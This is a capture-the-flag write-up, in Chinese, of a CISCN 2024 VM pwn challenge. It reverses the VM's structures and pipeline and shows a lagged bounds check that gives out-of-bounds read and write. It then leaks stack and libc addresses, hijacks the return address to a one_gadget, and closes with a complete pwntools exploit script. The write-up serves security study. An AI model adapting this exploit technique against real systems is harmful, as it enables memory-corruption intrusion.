CISCN2024一道VM PWN题
有师傅让我看一下最近国赛的vm题,总的来说还是挺有意思的,在这里记录一下。
分析
笔者一直都是逆向苦手(摊手),面对这样体量的vm还是花费了一些时间。
这里为了节约时间直接基于逆出来的结果梳理一遍程序流程。
在ida里简单修了几个结构体
00000000 vm_alu struc ; (sizeof=0x58, mappedto_6)
00000000 opcode_status dq ?
00000008 opcode_0 dq ?
00000010 opcode_1 dq ?
00000018 opcode_2 dd ?
0000001C ggap dd ?
00000020 opcode_3 dq ?
00000028 gap dd ?
0000002C mem_status dd ?
00000030 mem dd 10 dup(?)
00000058 vm_alu ends
00000058
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vm_id struc ; (sizeof=0x28, mappedto_8)
00000000 opcode_status dq ?
00000008 opcode_0 dq ?
00000010 opcode_1 dq ?
00000018 opcode_2 dq ?
00000020 opcode_3 dq ?
00000028 vm_id ends
00000028
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vm_mem struc ; (sizeof=0x28, mappedto_7)
00000000 need_mem_op dd ?
00000004 mem_op_num dd ?
00000008 dest1 dq ?
00000010 source1 dq ? ; seg
00000018 dest2 dq ?
00000020 source2 dq ?
00000028 vm_mem ends
00000028
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vm struc ; (sizeof=0x78, mappedto_5)
00000000 regs dq 4 dup(?)
00000020 sp_ dq ?
00000028 buf_idx dq ?
00000030 buf dq ?
00000038 virtual_space dq ? ; offset
00000040 virtual_stack dq ?
00000048 buf_len dq ?
00000050 space_size dq ?
00000058 stack_size dq ?
00000060 vm_id_ptr dq ? ; offset
00000068 vm_alu_ptr dq ? ; offset
00000070 vm_mem_ptr dq ? ; offset
00000078 vm ends
程序在init_array中调用了vm的构造函数
void __fastcall vm::vm(vm *this)
{
vm_id *v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 i; // rdx
this->buf = (__int64)mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
this->virtual_space = (void *)(this->buf + 0x2000);
this->virtual_stack = (__int64)this->virtual_space + 0x3000;
this->space_size = 0x3000LL;
this->buf_len = 0x2000LL;
this->stack_size = 0x1000LL;
v1 = (vm_id *)operator new(0x28uLL);
LODWORD(v1->opcode_status) = 0;
v1->opcode_0 = 0LL;
v1->opcode_1 = 0LL;
v1->opcode_2 = 0LL;
v1->opcode_3 = 0LL;
this->vm_id_ptr = v1;
v2 = operator new(0x50uLL);
*(_OWORD *)v2 = 0LL;
*(_OWORD *)(v2 + 16) = 0LL;
*(_OWORD *)(v2 + 32) = 0LL;
*(_OWORD *)(v2 + 48) = 0LL;
*(_OWORD *)(v2 + 64) = 0LL;
this->vm_alu_ptr = (vm_alu *)v2;
v3 = operator new(0x28uLL);
*(_DWORD *)v3 = 0;
*(_DWORD *)(v3 + 4) = 0;
for ( i = 0LL; ; ++i )
{
*(_QWORD *)(v3 + 16 * i + 8) = 0LL;
*(_QWORD *)(v3 + 16 * i + 16) = 0LL;
if ( i == 1 )
break;
}
this->vm_mem_ptr = (vm_mem *)v3;
}
可以看到buf和后面vm维护的数组空间和栈空间都在一块mmap出来的内存上。
读入buf之后进入主流程
__int64 __fastcall vm::run(vm_alu **my_vm)
{
__int64 v1; // rax
int v3; // [rsp+1Ch] [rbp-4h]
while ( 1 )
{
vm_alu::set_input(my_vm[13], (vm *)my_vm); // alu的解析滞后buf的解析1轮
vm_mem::set_input((vm_mem *)my_vm[14], (vm *)my_vm);// mem的解析滞后buf的解析2轮
my_vm[5] = (vm_alu *)((char *)my_vm[5] + (int)vm_id::run((vm_id *)my_vm[12], (vm *)my_vm));
v3 = vm_alu::run(my_vm[13], (vm *)my_vm);
vm_mem::run((vm_mem *)my_vm[14], (vm *)my_vm);
if ( !v3 )
break;
if ( v3 == -1 )
{
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
exit(0);
}
}
return 0LL;
}
vm_id::run
主要是解析buf上的数据并将解析后的结果存到vm_id
结构上,这个过程顺带也对操作的合法性进行了检测。
vm_alu::run
是基于vm_id
结构对操作进行进一步解析,并布置好vm_alu
结构。
vm_mem::run
是实现之前涉及到赋值的内存操作(对寄存器,数组空间和栈进行最终赋值)。
opcode之后的1个byte会用来识别操作类型,该字节的0-1bits用来指示被操作数的类型:
- 2 => vm寄存器
- 3 => vm维护的数组
该字节的2-3bits用来识别与被操作数交互的数的类型:
- 1 => 64bits立即数
- 2 => vm寄存器
- 3 => vm维护的数组
vm_id::run中检查了opcode的合法性
对于操作类型为寄存器的场合,会有这样的检查:
...
v4 = opcode_next1_ & 3;
if ( v4 == 2 )
{
opcode_len = 3;
v5 = v20;
v20 = (__int64 *)((char *)v20 + 1);
v12 = *(_BYTE *)v5;
if ( vm_id::check_regs(this, *(char *)v5, my_vm) )
{
this->opcode_0 = opcode_now;
this->opcode_2 = v12;
}
...
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{
return a2 <= 3;
}
对于操作数类型为数组的场合,也有对应的检查:
if ( this->opcode_0 != -1 )
{
v7 = (opcode_next1_ >> 2) & 3;
if ( v7 == 3 )
{
++opcode_len;
opcode_next2_ = *(_BYTE *)v20;
if ( vm_id::check_addr(this, my_vm->regs[*(char *)v20], my_vm) )
this->opcode_3 = opcode_next2_;
else
this->opcode_0 = -1LL;
}
...
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{
return a3->space_size - 8 >= a2;
}
对于opcode为9和10,对应栈的push和pop操作时,有栈指针的对齐和越界检查
if ( (my_vm->sp_ & 7) != 0 )
this->opcode_0 = -1LL;
if ( opcode_now == 9 )
{
if ( my_vm->sp_ >= (unsigned __int64)my_vm->stack_size || my_vm->sp_ <= 7uLL )
this->opcode_0 = -1LL;
}
else if ( (unsigned __int64)(my_vm->stack_size - 8) < my_vm->sp_ )
{
this->opcode_0 = -1LL;
}
vm_alu::run中被操作数和与被操作数交互的数的选取实现
if ( !LODWORD(this->opcode_status) )
return 1LL;
if ( this->opcode_0 && this->opcode_0 <= 8uLL )
{
v3 = ((unsigned __int64)this->opcode_1 >> 2) & 3;
if ( v3 == 3 ) // 与被操作数交互的值从virtual_space拿
{
this->opcode_3 = *(_QWORD *)((char *)a2->virtual_space + a2->regs[this->opcode_3]);
}
else if ( v3 != 1 )
{
if ( v3 != 2 ) // 与被操作数交互的值从寄存器拿
return 0xFFFFFFFFLL;
this->opcode_3 = a2->regs[this->opcode_3];// opcode_3 = vm[opcode_3]
}
v4 = this->opcode_1 & 3;
if ( v4 == 2 ) // 选被操作数为某个寄存器
{
this->mem_status = 1;
this->mem[0] = (__int64)&a2->regs[*(_QWORD *)&this->opcode_2];
*(_QWORD *)&this->opcode_2 = a2->regs[*(_QWORD *)&this->opcode_2];
}
else
{
if ( v4 != 3 )
return 0xFFFFFFFFLL;
if ( (this->opcode_1 & 0xC) == 0xC )
return 0xFFFFFFFFLL;
this->mem_status = 1; // 选择被操作数为virtual_space[x]
this->mem[0] = (__int64)a2->virtual_space + a2->regs[*(_QWORD *)&this->opcode_2];
*(_QWORD *)&this->opcode_2 = *(_QWORD *)((char *)a2->virtual_space + a2->regs[*(_QWORD *)&this->opcode_2]);
}
二元运算操作的实现
switch ( this->opcode_0 )
{
case 1LL:
this->mem[1] = this->opcode_3 + *(_QWORD *)&this->opcode_2;
break;
case 2LL:
this->mem[1] = *(_QWORD *)&this->opcode_2 - this->opcode_3;
break;
case 3LL:
this->mem[1] = *(_QWORD *)&this->opcode_2 << this->opcode_3;
break;
case 4LL:
this->mem[1] = *(_QWORD *)&this->opcode_2 >> this->opcode_3;
break;
case 5LL:
this->mem[1] = this->opcode_3;
break;
case 6LL:
this->mem[1] = this->opcode_3 & *(_QWORD *)&this->opcode_2;
break;
case 7LL:
this->mem[1] = this->opcode_3 | *(_QWORD *)&this->opcode_2;
break;
case 8LL:
this->mem[1] = this->opcode_3 ^ *(_QWORD *)&this->opcode_2;
break;
default:
goto LABEL_38;
}
push和pop的实现
if ( opcode_0 == 10 ) // pop
{
this->mem_status = 2;
this->mem[0] = (__int64)&a2->regs[*(_QWORD *)&this->opcode_2];
this->mem[1] = *(_QWORD *)(a2->virtual_stack + a2->sp_);
this->mem[2] = (__int64)&a2->sp_;
this->mem[3] = a2->sp_ + 8;
goto LABEL_38;
}
if ( !opcode_0 )
{
this->gap = 0;
return 0LL;
}
if ( opcode_0 != 9 )
return 0xFFFFFFFFLL;
this->mem_status = 2; // push
this->mem[0] = a2->virtual_stack + a2->sp_ - 8;
this->mem[1] = a2->regs[*(_QWORD *)&this->opcode_2];
this->mem[2] = (__int64)&a2->sp_;
this->mem[3] = a2->sp_ - 8;
LABEL_38:
this->gap = 1;
再结合vm_mem::set_input和vm_mem::run可以分析出vm对寄存器,数组,栈的赋值逻辑
vm_mem *__fastcall vm_mem::set_input(vm_mem *this, vm *a2)
{
vm_alu *vm_alu_ptr; // rdx
vm_mem *result; // rax
__int64 v4; // rbx
__int64 v5; // rbx
vm_alu_ptr = a2->vm_alu_ptr;
result = this;
v4 = vm_alu_ptr->mem[0];
*(_QWORD *)&this->need_mem_op = *(_QWORD *)&vm_alu_ptr->gap;
this->dest1 = v4;
v5 = vm_alu_ptr->mem[2];
this->source1 = vm_alu_ptr->mem[1];
this->dest2 = v5;
this->source2 = vm_alu_ptr->mem[3];
return result;
}
以mem[0]和mem[1]为一对,mem[2]和mem[3]为一对,在vm_mem::run中进行最多进行两对赋值。
__int64 __fastcall vm_mem::run(vm_mem *ptr_s, vm *a2)
{
__int64 s; // rax
int i; // [rsp+1Ch] [rbp-4h]
s = (unsigned int)ptr_s->need_mem_op;
if ( (_DWORD)s )
{
for ( i = 0; ; ++i )
{
s = (unsigned int)ptr_s->mem_op_num;
if ( i >= (int)s )
break;
**((_QWORD **)&ptr_s->dest1 + 2 * i) = *(&ptr_s->source1 + 2 * i);
}
}
return s;
}
不难发现,由于vm::run函数的实现结构,alu的解析会滞后buf的解析1轮,mem的解析会滞后buf的解析2轮。
而这个特性也是这道题的问题所在。
利用
在vm_id::run中对opcode的合法性检查对于寄存器的边界判断是没问题的,但对于栈的操作和数组偏移的检查,缺乏及时性。
以对数组偏移的检查为例,这题的数组操作是以某个寄存器的值作为数组的偏移量,而检查的时候也是直接查看对应寄存器此时的值是否有超过0x3000u-8u
。但如果我们在最近2次循环前才修改掉这个寄存器的话,在这一次判断的时候还没有被vm_mem::run更新,就会直接绕过检查,且在这一次的vm_mem::run中那个寄存器会被更新,这样下一次vm_alu::run的时候就会以这个没被检查的寄存器值作为偏移来进行操作。
基于这个时间差的特性,我们可以完成以mmap的这块内存为起点的越界读写操作。
不过由于这两块mmap申请的匿名空间没有挨在一起,以及libstdc++, libm, libgcc_s等库的加载顺序是随机的,这就造成了我们越界读写时需要进行一定的爆破。在调试时我们可以临时关闭系统的aslr。
0x7ffff7e5f000 0x7ffff7e63000 rw-p 4000 0 [anon_7ffff7e5f]
0x7ffff7ea9000 0x7ffff7eb4000 rw-p b000 0 [anon_7ffff7ea9]
这里我们通过越界到__environ和main_arena分别得到了栈地址和libc地址。
pwndbg> show_vm
00:0000│ rdx rsi 0x5555555581c0 (my_vm) —▸ 0x7fffffffe238 —▸ 0x7ffff7829d90 (__libc_start_call_main+128) ◂— mov edi, eax
01:0008│ 0x5555555581c8 (my_vm+8) ◂— 0xffffffffffb6fcf0
02:0010│ 0x5555555581d0 (my_vm+16) —▸ 0x7ffff7a1ace0 (main_arena+96) —▸ 0x555555570360 ◂— 0x0
03:0018│ 0x5555555581d8 (my_vm+24) ◂— 0x0
04:0020│ 0x5555555581e0 (my_vm+32) ◂— 0x0
05:0028│ 0x5555555581e8 (my_vm+40) ◂— 0x3c /* '<' */
06:0030│ 0x5555555581f0 (my_vm+48) —▸ 0x7ffff7ea9000 ◂— 0xffffb77200011605
07:0038│ 0x5555555581f8 (my_vm+56) —▸ 0x7ffff7eab000 ◂— 0x0
08:0040│ 0x555555558200 (my_vm+64) —▸ 0x7ffff7eae000 ◂— 0x0
09:0048│ 0x555555558208 (my_vm+72) ◂— 0x2000
0a:0050│ 0x555555558210 (my_vm+80) ◂— 0x3000
0b:0058│ 0x555555558218 (my_vm+88) ◂— 0x1000
0c:0060│ 0x555555558220 (my_vm+96) —▸ 0x5555555702b0 ◂— 0x1
0d:0068│ 0x555555558228 (my_vm+104) —▸ 0x5555555702e0 ◂— 0x1
0e:0070│ 0x555555558230 (my_vm+112) —▸ 0x555555570340 ◂— 0x100000000
由于程序可以正常返回,也没开沙箱,直接劫持返回地址到ogg即可。
exp
from pwn import *
import sys
context.log_level = 'debug'
ip = sys.argv[1]
port = int(sys.argv[2])
path_to_elf = './pwn'
elf = ELF(path_to_elf)
libc = ELF('./libc.so.6')
if port != 0:
p = remote(ip, port)
else:
p = process(path_to_elf)
def g(arg=''):
gdb.attach(p, arg)
input()
sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
ru = lambda x : p.recvuntil(x)
def push_reg(reg_id):
return p8(9) + p8(0x10|2) + p8(reg_id)
def pop_reg(reg_id):
return p8(10) + p8(0x10|2) + p8(reg_id)
def set_reg_imm(reg_id, imm):
return p8(5) + p8(0x10|1<<2|2) + p8(reg_id) + p64(imm)
def set_reg_addr(reg_id, addr_offset_reg):
return p8(5) + p8(0x10|3<<2|2) + p8(reg_id) + p8(addr_offset_reg)
def set_reg_reg(reg_id1, reg_id2):
return p8(5) + p8(0x10|2<<2|2) + p8(reg_id1) + p8(reg_id2)
def add_reg_imm(reg_id, imm):
return p8(1) + p8(0x10|1<<2|2) + p8(reg_id) + p64(imm)
def sub_reg_imm(reg_id, imm):
return p8(2) + p8(0x10|1<<2|2) + p8(reg_id) + p64(imm)
def sub_reg_reg(reg_id1, reg_id2):
return p8(2) + p8(0x10|2<<2|2) + p8(reg_id1) + p8(reg_id2)
def set_addr_reg(addr_offset_reg, reg_id):
return p8(5) + p8(0x10|2<<2|3) + p8(addr_offset_reg) + p8(reg_id)
libc_buf_offset = -0x6ab000+0xffffffffffffffff+1
ogg = [0x50a47, 0xebc81, 0xebc85, 0xebc88]
code = set_reg_imm(1, libc_buf_offset + libc.symbols['_environ']) # environ
code += p8(11)
code += set_reg_addr(0, 1)
code += p8(11)*2
# code += set_reg_reg(2, 0)
code += add_reg_imm(0, -0x130+0xffffffffffffffff+1) # stack ptr to return address
code += set_reg_imm(1, 0) + p8(11)*2
code += set_reg_imm(1, libc_buf_offset + 0x21ac80 + 112) # from main_arena leak libc
code += p8(11)
code += set_reg_addr(2, 1)
code += p8(11)*2
code += sub_reg_imm(2, 0x21ace0) # r2 = libcbase
code += set_reg_imm(1, 0) + p8(11)*2
code += set_addr_reg(1, 0) + p8(11)*2 # addr[0] = stack_addr
code += set_reg_imm(1, 8) + p8(11)*2
code += set_addr_reg(1, 2) # addr[8] = libcbase
# 0x6d
code += p8(11)*2
code += sub_reg_reg(0, 2) + p8(11)*2
code += add_reg_imm(0, libc_buf_offset) + p8(11)*2
code += add_reg_imm(2, ogg[0]) + p8(11)*2
code += set_reg_reg(3, 0)
code += p8(11)
code += set_addr_reg(3, 2)
code += set_reg_imm(0, 0) + p8(11)*2
code += p8(11)*2
code += p8(0)
# g()
sla('code', code)
p.interactive()